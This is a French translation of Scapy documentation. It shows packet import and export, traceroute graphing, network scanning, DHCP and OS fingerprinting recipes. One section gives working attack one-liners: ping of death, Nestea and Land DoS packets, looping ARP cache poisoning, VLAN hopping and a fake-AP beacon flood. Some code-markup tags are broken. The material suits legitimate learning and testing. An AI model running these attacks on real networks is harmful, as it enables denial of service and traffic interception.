>>> hexdump(pkt) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37
67
Le dump ci-dessus peut être ré-importé dans Scapy en utilisant import_hexcap():
</code»» pkt_hex = Ether(import_hexcap()) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S…E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|…… 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ……Za….pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ……………. 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 ………. !”#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67
pkt_hex
<Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0×800 |<IP version=4L ihl=5L tos=0×0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c src=192.168.25.130 dst=4.2.2.1 options= |<ICMP type=echo-request code=0 chksum=0x9c90 id=0x5a61 seq=0×1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e \x1f !”#$%&\'()*+,-./01234567' |»»</code>
Vous pouvez également convertir entièrement un paquet dans une chaîne hexadécimale en utilisant la fonction str():
>>> pkts = sniff(count = 1) >>> pkt = pkts[0] >>> pkt <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c src=192.168.25.130 dst=4.2.2.1 options= |<ICMP type=echo-request code=0 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e \x1f !"#$%&\'()*+,-./01234567' |>>>> >>> pkt_str = str(pkt) >>> pkt_str '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8 \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00 \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
On peut ré-importer la chaîne hexadécimale produite en sélectionnant la couche de départ appropriée (par exemple Ether()).
>>> new_pkt = Ether(pkt_str) >>> new_pkt <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c src=192.168.25.130 dst=4.2.2.1 options= |<ICMP type=echo-request code=0 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e \x1f !"#$%&\'()*+,-./01234567' |>>>>
En utilisant la fonction export_object(), Scapy peut exporter une structure de donnée Python encodée en base64 représentant un paquet:
>>> pkt <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c src=192.168.25.130 dst=4.2.2.1 options= |<ICMP type=echo-request code=0 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' |>>>> >>> export_object(pkt) eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ...
La sortie ci-dessus peut être ré-importée dans Scapy en utilisant import_object():
>>> new_pkt = import_object() eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ... >>> new_pkt <Ether dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c src=192.168.25.130 dst=4.2.2.1 options= |<ICMP type=echo-request code=0 chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' |>>>>
Enfin, Scapy peut sauver touts les variables de session grâce à la fonction save_session():
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
>>> save_session("session.scapy")
La prochaine fois que vous lancerez Scapy, vous pourrez charger la session précédente sauvegardée en utilisant la commande load_session():
>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
A présent, nous allons utiliser la fonction de présentation make_table(). Elle prend une liste en paramètre, et une fonction qui renvoie un 3-uple. Le premier élément est la valeur sur l'axe x d'un élément de la list, le second est la valeur de y, et le troisième est la valeur que l'on veut voir aux coordonnées (x,y). Le résultat est une table. Cette fonction a deux variantes, make_lined_table() et make_tex_table() pour copier/coller dans votre rapport de pentest en LaTeX. Ces fonctions sont disponibles comme des méthodes d'un objet result:
Ici, on peut voir un traceroute multi-parallèle (Scapy intègre déjà une fonction multi traceroute TCP. Voir plus loin.):
>>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP()) Received 49 packets, got 24 answers, remaining 0 packets >>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) ) 216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178
Voici un exemple un peu plus complexe pour identifier les machines à l'aide du champ IPID. On peut voir que 172.20.80.200:22 est répondu par la même pile IP que 172.20.80.201, et que 172.20.80.197:25 n'est pas répondu par la même pile IP que les autres ports de la même IP.
>>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
20 0 4203 7021 - 11562
21 0 4204 7022 - 11563
22 0 4205 7023 11561 11564
25 0 0 7024 - 11565
53 0 4207 7025 - 11566
80 0 4028 7026 - 11567
On peut facilement dessiner des valeurs collectées avec Gnuplot. (Assurez-vous que Gnuplot-py et Gnuplot sont installés.) Par exemple, on peut observer les modèles IP ID pour savoir combient de piles IP distinctes sont utilisées derrière un répartiteur de charge (NdT: load-balancer):
>>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000)) >>> a.plot(lambda x:x[1].id) <Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>
Scapy intègre aussi une puissante fonction traceroute TCP. Contrairement aux autres programmes de traceroute qui attendent la réponse de chaque noeud pour aller au suivant, Scapy envoie tous les paquets en même temps. Cela a l'inconvénient qu'il ne sait pas quand il doit s'arrêter (donc le paramètre maxttl) mais a le grand avantage qu'il prend moins de 3 secondes pour avoir ce résultat sur plusieurs cibles:
>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20) Received 80 packets, got 80 answers, remaining 0 packets 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA (<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
La dernière ligne est en fait le résultat de la fonction: un objet de résultat traceroute et une liste de paquets non répondus. Le résultat traceroute est une version plus spécialisée (une sous-classe) d'un objet de résultat classique. On peut le sauvegarder pour reconsulter le résultat un prochaine fois, ou pour inspecter plus en profondeur une des réponses, par exemple pour vérifier le padding.
>>> result,unans=_ >>> result.show() 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 [...] >>> result.filter(lambda x: Padding in x[1]
Like any result object, traceroute objects can be added :
>>> r2,unans=traceroute(["www.voila.com"],maxttl=20) Received 19 packets, got 19 answers, remaining 1 packets 195.101.94.25:80 1 192.168.8.1 2 82.251.4.254 3 213.228.4.254 4 212.27.50.169 5 212.27.50.162 6 193.252.161.97 7 193.252.103.86 8 193.252.103.77 9 193.252.101.1 10 193.252.227.245 12 195.101.94.25 SA 13 195.101.94.25 SA 14 195.101.94.25 SA 15 195.101.94.25 SA 16 195.101.94.25 SA 17 195.101.94.25 SA 18 195.101.94.25 SA 19 195.101.94.25 SA 20 195.101.94.25 SA >>> >>> r3=result+r2 >>> r3.show() 195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA
L'objet de résultat traceroute possède une fonctionnalité très intéressante: il peut créer directement un graphe de toutes les routes qu'il a obtenu, et les associer par AS. Cela nécessite graphviz. Par défaut, ImageMagik est utilisé pour afficher le graphe.
>>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2) Received 190 packets, got 190 answers, remaining 10 packets 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46... 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16... 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251... 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22... [...] >>> res.graph() # piped to ImageMagick's display program. Image below. >>> res.graph(type="ps",target="| lp") # piped to postscript printer >>> res.graph(target="> /tmp/graph.svg") # saved to file
Si vous avez VPython d'installé, vous pouvez aussi avoir une représentation 3D du traceroute. Avec le bouton droit, vous pouvez faire pivoter la scène, avec celui du milieu, vous pouvez zoomer, et avec le bouton gauche, vous pouvez vous déplacer dans la scène. Si vous cliquez sur une boule, son IP apparaîtra/disparaîtra. Si vous faîtes Ctrl-Click sur une boule, les ports 21, 22, 23, 25, 80 et 443 seront scannés et le résultat affiché:
>>> res.trace3D()
Voici les commandes pour que votre carte wifi et votre driver soient correctement configurés pour l'injection de trames.
$ ifconfig wlan0 up $ iwpriv wlan0 hostapd 1 $ ifconfig wlan0ap up
Voici une sorte de FakeAP:
>>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/
Dot11Beacon(cap="ESS")/
Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/
Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/
Dot11Elt(ID="DSset",info="\x03")/
Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1)
En utilisant Scapy comme un puissant manipulateur de paquet, on peut facilement répliquer de rapides scans TCP classiques. Par exemple, la commande suivante va être envoyée pour simuler un scan ACK:
>>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
On peut trouver les ports non filtrés dans les paquets répondus:
>>> for s,r in ans: ... if s[TCP].dport == r[TCP].sport: ... print str(s[TCP].dport) + " is unfiltered"
De même, les ports filtrés peuvent être trouvés dans les paquets non répondus:
>>> for s in unans: ... print str(s[TCP].dport) + " is filtered"
Un scan Xmas peut être lancé en utilisant la commande suivante:
>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )<code> Vérifier les réponses RST révèlera les ports fermés sur la cible. ===== Scan IP ===== Un scan IP de bas niveau peut être utilisé pour énumérer les protocoles supportés: <code>>>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
Le plus rapide moyen pour découvrir les postes sur un réseau local ethernet est d'utiliser le ping ARP:
>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)
Les réponses peuvent être observées avec la commande suivante:
>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
Scapy intègre aussi une fonction arping() qui réalise les mêmes opérations que les deux commandes ci-dessus:
>>> arping("192.168.1.*")
Un ping ICMP classique peut être émulé en utilisant la commande:
>>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())
Les informations sur les postes allumés peuvent être collectées à l'aide de la requête suivante:
</code»» ans.summary(lambda (s,r): r.sprintf(”%IP.src% is alive”) )</code>
Dans le cas ou les requêtes echo ICMP sont bloqués, on peut toujours utiliser divers ping TCP comme le ping TCP SYN suivant:
>>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )
Chaque réponse à notre requête indiquera une machine allumée. On peut afficher les résultats avec la commande suivante:
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
Si tout a échoué, il y a toujours le ping UDP qui produira des erreurs port ICMP non accessible sur les machines allumées. Vous pouvez prendre n'importe quel port qui est généralement fermé, comme le port 0:
>>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )
Encore une fois, les résultats peuvent être consultés avec la commande:
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )
Paquet mal formé:
>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
Ping de la mort (NdT: Ping of death):
>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )
Attaque Nestea:
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
Attaque Land (conçue pour Microsoft Windows):
>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
Cette attaque empêche un client de joindre directement la passerelle par une corruption de cache ARP à travers une attaque de VLAN hopping.
Corruption de cache ARP classique:
>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
Corruption de cache ARP avec une double encapsulation 802.1q:
>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
/ARP(op="who-has", psrc=gateway, pdst=client),
inter=RandNum(10,40), loop=1 )
Envoi un TCP SYN sur chaque port. Attend un SYN-ACK ou un RST ou une erreur ICMP:
>>> res,unans = sr( IP(dst="target")
/TCP(flags="S", dport=(1,1024)) )
Visualisation de résultat possible: les ports ouverts.
>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
On veut identifier les concentrateurs VPN en envoyant une requête ISAKMP Security Association et recevant les réponses:
>>> res,unans = sr( IP(dst="192.168.1.*")/UDP()
/ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
)
Observons les résultats dans une liste:
>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )
>>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))
Les résultats sont:
>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1 time-exceeded
68.86.90.162 time-exceeded
4.79.43.134 time-exceeded
4.79.43.133 time-exceeded
4.68.18.126 time-exceeded
4.68.123.38 time-exceeded
4.2.2.1 SA
Utiliser traceroute sur UPD comme on le fait avec TCP n'est pas possible, car il n'y a pas de handshake. On doit donner un payload applicatif (DNS? ISAKMP, NTP, etc…) pour avoir une réponse:
>>> res,unans = sr(IP(dst="target", ttl=(1,20))
/UDP()/DNS(qd=DNSQR(qname="test.com"))
On peut visualiser les résultats comme une liste de routeurs:
>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))
On peut réaliser un traceroute DNS en spécifiant un paquet complet dans le paramètre l4 de la fonction traceroute():
>>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
4.2.2.1:udp53
1 192.168.1.1 11
4 68.86.90.162 11
5 4.79.43.134 11
6 4.79.43.133 11
7 4.68.18.62 11
8 4.68.123.6 11
9 4.2.2.1
...
>>> sr1(IP(dst="172.16.1.232")/ICMP()) <IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]| <Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>
C'était un bug dans Linux 2.0:
>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) <IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] | <IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] | <ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff | <Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>
Dans des conditions particulières, une double encapsulation 802.1q va générer un saut de paquet vers un autre VLAN:
>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())
La commande suivante affichera les mêmes informations que la plupart des sniffers wifi:
>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))
La commande précédente affichera la sortie suivante:
00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC 11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy 44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy 12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble
Ce programme utiliser le callback sniff() (paramètre prn). Le paramètre store est à 0 pour que la fonction sniff() ne stocke rien (comme cela devrait être le cas) et permet de tourner indéfiniment. Le paramètre filter est utilisé pour de meilleures performances lorque la charge est grande: le filtre est appliqué dans le noyau de Scapy, et Scapy ne verra que le traffic ARP.
#! /usr/bin/env python
from scapy.all import *
def arp_monitor_callback(pkt):
if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
sniff(prn=arp_monitor_callback, filter="arp", store=0)
Vous suspectez que quelqu'un a installé un nouveau serveur DHCP, non autorisé sur votre LAN - soit involontairement ou bien volontairement. Donc, vous voulez vérifier les serveurs DHCP actifs et identifier leurs adresses IP et MAC.
Utilisez Scapy pour envoyer une requête DHCP discover et analysez les réponses:
>>> conf.checkIPaddr = False
>>> fam,hw = get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw) /DHCP(options=[("message-type","discover"),"end"])
>>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds
Begin emission:
Finished to send 1 packets.
.*...*..
Received 8 packets, got 2 answers, remaining 0 packets
Dans ce cas, nous avons 2 réponses, donc il y a deux serveurs DHCP actifs sur le réseau:
>>> ans.summarize() Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP<c/ode> Nous ne sommes intéressés que par les adresses IP et MAC des réponses: <code>>>> for p in ans: print p[1][Ether].src, p[1][IP].src ... 00:de:ad:be:ef:00 192.168.1.1 00:11:11:22:22:33 192.168.1.11
On spécifie multi=True pour que Scapy attende plus de paquets de réponse après que la première réponse soit reçue. Cela est aussi une raison pourquoi on ne peut pas utiliser la fonction dhcp_request() plus pratique et on doit construire le paquet DHCP manuellement: dhcp_request() utilise srp1() pour envoyer et recevoir, donc cela se termine immédiatement après le premier paquet répondu.
De plus, en général, Scapy s'assure que les réponses proviennent de la même adresse IP que la destinataire. Mais notre paquet DHCP est envoyé à l'adresse broadcast (255.255.255.255) et chaque paquet de réponse aura l'adresse IP du serveur DHCP qui répond comme son adresse IP source (par ex. 192.168.1.1). Comme ces IP ne sont pas les mêmes, on doit désactiver la vérification de Scapy avec conf.checkIPaddr = False avant d'envoyer la requête.
La décrémentation TTL après une opération de filtrage, sur les paquets non filtrés génère un dépassement de TTL ICMP.
>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
if r.haslayer(ICMP) and r.payload.type == 11:
print s.dport
Pour trouver les sous réseaux d'un pare-feu multi-NIC, les IP sont disponibles avec ce TTL:
>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) >>> for i in unans: print i.dst
Beaucoup de pare-feux possèdent une règle pour ignorer les paquets TCP qui n'ont pas l'option Timestamp TCP définie qui est commun chez les scanners de ports.
Pour autoriser Scapy à accéder à une cible, il faut utiliser options en plus:
>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))
Vous avez généré ou sniffé quelques paquets avec Scapy et vous voulez les voir dans Wireshark, car il peut disséquer en profondeur les paquets.
C'est l'utilité de la fonction wireshark():
>>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets
>>> wireshark(packets) # show them with Wireshark
Wireshark sera lancé en tâche de fond et vous montrera vos paquets.
La fonction wireshark() génère un fichier pcap temporaire contenant vos paquets, lance Wireshark en tâche de fond et le fait lire le fichier au démarrage.
N'oubliez pas que Wireshark fonctionne avec des paquets de couche 2 (communément appelés “frames”). Donc, on doit ajouter une en-tête Ether() à nos paquets ICMP. Passer directement des paquets IP (couche 3) à Wireshark donnera d'étranges résultats.
Vous pouvez dire à Scapy où chercher l'exécutable Wireshark en changeant le paramètre de configuration conf.prog.wireshark.
Scapy peut être utilisé pour analyser l'incrémentation de l'ISN (Initial Sequence Number) pour peut-être découvrir des systèmes vulnérables. En premier lieu, on va collecter les réponses de la cible en envoyant des paquets SYN dans une boucle:
>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))
Une fois que nous avons obtenus un nombre raisonnable de réponses, on peut commencer l'analyse des données collectées en faisant comme cela:
>>> temp = 0 >>> for s,r in ans: ... temp = r[TCP].seq - temp ... print str(r[TCP].seq) + "\t+" + str(temp) ... 4278709328 +4275758673 4279655607 +3896934 4280642461 +4276745527 4281648240 +4902713 4282645099 +4277742386 4283643696 +5901310
Si vous avez nmap d'installé, vous pouvez utiliser sa base de donnée de prise d'empreinte d'OS avec Scapy. Assurez vous que la première version de la base de données des signatures est bien dans le chemin défini dans:
>>> conf.nmap_base
Scapy intègre une fonction nmap_fp() qui implémente les mêmes requêtes que le moteur de détection d'OS de Nmap:
>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])
Si vous avez p0f d'installé sur votre système, vous pouvez l'utiliser pour deviner le nom de l'OS et sa version depuis Scapy (seule la base de données SYN est utilisée). Avant tout, vérifiez que la base de données existe bien dans le chemin défini dans:
